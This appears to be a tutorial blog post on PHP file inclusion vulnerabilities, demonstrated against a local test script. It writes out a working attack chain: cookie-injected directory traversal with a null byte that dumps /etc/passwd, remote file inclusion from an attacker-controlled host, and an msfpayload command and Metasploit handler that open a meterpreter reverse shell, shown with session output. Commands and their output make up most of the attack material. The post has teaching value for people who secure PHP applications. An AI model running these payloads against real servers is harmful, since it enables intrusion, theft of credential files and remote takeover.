PHP supports the ability to ‘include’ or ‘require’ additional files within a script. If unsanitized data is passed to such functions, an attacker may be able to get remote code execution access to the server. A typical include block might look something like this:
<?php require("config/settings.inc.php"); require("lib/db.lib.php"); require("lib/parser.lib.php"); include("contrib/users/user.contrib.php"); die("This is a test"); ?>
Now, it’s also possible to dynamically require or include files based on variables or user input, say for example:
<?php require("config/" . $username . ".inc.php"); die("This is a test"); ?>
<?php require("config/" . $_COOKIE['pref_file'] . ".inc.php"); die("This is a test"); ?>
The problem with the $_COOKIE[‘pref_file’] example, is that of course the user controls his own cookies. In this case, rather than the expected value that might be ‘username_prefs_123456’ for example, the user can set a more malicious value. Ultimately, the web server will then include this malicious file and execute it as a PHP script. This malicious file will have the permissions to do anything that any other server side PHP scripts are able to do, which will most likely enable the attacker to gain a shell. Let’s look at different ways that the vulnerability can be leveraged.
Let’s call our script ‘test.php’ and let’s create a sample valid include file, i.e. config/npn.inc.php for it containing a simple echo statement. Now running curl and setting the ‘pref_file’ cookie to contain ‘npn’ results in the following:
root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=npn" This is a test include This is a test root@pwn:/var/www#
Exactly as we expect!
Now, let’s say that we want to use a Local File Inclusion (LFI) attack to include /etc/passwd instead. We are faced with two immediate issues. Firstly, “config/” is prepended to the beginning of our pref_file cookie and secondly, “.inc.php” is appended to the end. Directory traversal and null bytes to the rescue!
If we pass a modified curl request, our attack is successful:
root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=../../../etc/passwd%00" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh ...
Let’s examine our attack string in a little bit more detail. What’s now being included is “config/../../../etc/passwd%00.inc.php”. By traversing the directory tree with ‘../’ we can position ourselves 3 directories back, to the root ‘/’ of the filesystem before specifying the file that we’re interested in – /etc/passwd. By including a single null byte ‘%00’, we terminate the string, and therefore anything after, i.e. ‘.inc.php’ is discarded by PHP. Note that this null byte issue within paths was resolved in PHP 5.3.4
The second LFI attack method involves being able to upload files to the filesystem. As an attacker if we can find other means to get files onto the file system such as through anonymous FTP, image uploads, profile uploads, even PHP session variables containing arbitrary code, and we can instruct the application to include these files in exactly the same way as above.
Now, we come on to the more interesting remote file inclusion (RFI) attack. If PHP has ‘URL wrappers’ enabled, then it’s possible to pass HTTP links into functions such as include, require, fopen, and so on.
Take the sample code:
<?php require($_COOKIE['pref_file'] . ".inc.php"); die("This is a test"); ?>
If we call the script with: curl http://localhost/test.php -b “pref_file=http://192.168.230.128/malicious”
root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=http://192.168.230.128/malicious" You just included a malicious file! This is a test
If the PHP version is not susceptible to the null byte attack, then as seen above, as we control our own webserver, we can create ‘malicious.inc.php’ which includes the ‘.inc.php’ the application will append, and simply pass the string ‘/malicious’ to the application.
This article wouldn’t be finished without shell access! We can generate our shell with:
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8080 R > /var/www/malicious.inc.php
Set metasploit to listen in for connections:
msf > use exploit/multi/handler msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > exploit [*] Started reverse handler on 0.0.0.0:8080 [*] Starting the payload handler...
Now trigger the remote application to include our malicious file:
curl http://localhost/test.php -b "pref_file=http://192.168.230.128/malicious"
Our curl request hangs as the script kicks into action:
[*] Sending stage (39195 bytes) to 192.168.230.128 [*] Meterpreter session 1 opened (192.168.230.128:8080 -> 192.168.230.128:39890) at 2013-08-10 16:49:44 +0100 meterpreter > shell Process 5960 created. Channel 0 created. whoami www-data id uid=33(www-data) gid=33(www-data) groups=33(www-data) ps PID TTY TIME CMD 5611 ? 00:00:00 apache2 5612 ? 00:00:00 apache2 5613 ? 00:00:00 apache2 5614 ? 00:00:00 apache2 5615 ? 00:00:00 apache2 5911 ? 00:00:00 apache2 5912 ? 00:00:00 apache2 5913 ? 00:00:00 apache2 5960 ? 00:00:00 sh 5970 ? 00:00:00 ps